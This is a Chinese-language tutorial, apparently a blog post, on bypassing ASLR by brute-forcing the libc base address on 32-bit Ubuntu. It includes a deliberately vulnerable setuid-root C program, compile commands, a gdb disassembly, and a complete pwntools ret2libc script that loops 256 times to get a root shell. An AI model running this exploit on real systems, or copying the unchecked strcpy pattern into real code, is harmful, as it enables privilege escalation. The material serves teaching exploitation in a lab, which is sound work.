0.前言
有关ASLR的简介参考http://gxkyrftx.xyz/2019/03/02/%E7%BB%95%E8%BF%87ASLR-%E4%B8%80/以下直接介绍绕过ASLR的第二种方法,爆破libc基址
1.环境及工具
虚拟机环境:Ubuntu 12.04 Desktop(x86)
工具:gdb-peda
2.绕过ASLR
由于ASLR(Address Space Layout Randomization)的开启,地址空间布局随机化。但是地址空间随机分布的范围是有限的,稍做验证如下
可以看到libc的基址变化范围,因此,可以尝试通过爆破的方式,得到shell
3.漏洞程序
3.1 漏洞源码
#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[]) {
char buf[256];
strcpy(buf,argv[1]);
printf("%s\n",buf);
fflush(stdout);
return 0;
}
3.2 编译命令
#echo 2 > /proc/sys/kernel/randomize_va_space
$gcc -g -fno-stack-protector -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln
3.3 调试
使用gdb调试,main()函数汇编代码如下
gdb-peda$ disassemble main
Dump of assembler code for function main:
0x08048464 <+0>: push ebp
0x08048465 <+1>: mov ebp,esp
0x08048467 <+3>: and esp,0xfffffff0
0x0804846a <+6>: sub esp,0x110
0x08048470 <+12>: mov eax,DWORD PTR [ebp+0xc]
0x08048473 <+15>: add eax,0x4
0x08048476 <+18>: mov eax,DWORD PTR [eax]
0x08048478 <+20>: mov DWORD PTR [esp+0x4],eax
0x0804847c <+24>: lea eax,[esp+0x10]
0x08048480 <+28>: mov DWORD PTR [esp],eax
0x08048483 <+31>: call 0x8048370 <strcpy@plt>
0x08048488 <+36>: lea eax,[esp+0x10]
0x0804848c <+40>: mov DWORD PTR [esp],eax
0x0804848f <+43>: call 0x8048380 <puts@plt>
0x08048494 <+48>: mov eax,ds:0x804a020
0x08048499 <+53>: mov DWORD PTR [esp],eax
0x0804849c <+56>: call 0x8048360 <fflush@plt>
0x080484a1 <+61>: mov eax,0x0
0x080484a6 <+66>: leave
0x080484a7 <+67>: ret
End of assembler dump.
4.编写exp
首先要爆破,需要找到一个基址,我选取了0xb75c9000作为libc的基址, 然后要找到sysytem和exit在libc中的偏移,然后用libc基址,加上偏移作为函数的地址,即system_addr和exit_addr。寻找步骤如下:
system_arg在每个版本中的偏移是相同的,所以与之前的相同
payload的构造:首先输入268个‘A’填充缓冲区和对齐空间+system函数地址+exit函数地址+‘/bin/sh’的地址。然后通过暴力破解的方式,进行256次尝试,来获得root shell。最终编写exp如下:
from pwn import *
from subprocess import call
libc_base_addr = 0xb75c9000
exit_off = 0x00032fc0
system_off = 0x0003d170
system_addr = libc_base_addr + system_off
exit_addr = libc_base_addr + exit_off
system_arg = 0x804827d
payload="A" * 268+p32(system_addr)+p32(exit_addr)+p32(system_arg)
i = 0
while (i < 256):
print "Number of tries: %d" %i
i += 1
ret = call(["./vuln", payload])
if (not ret):
break
最后结果如下: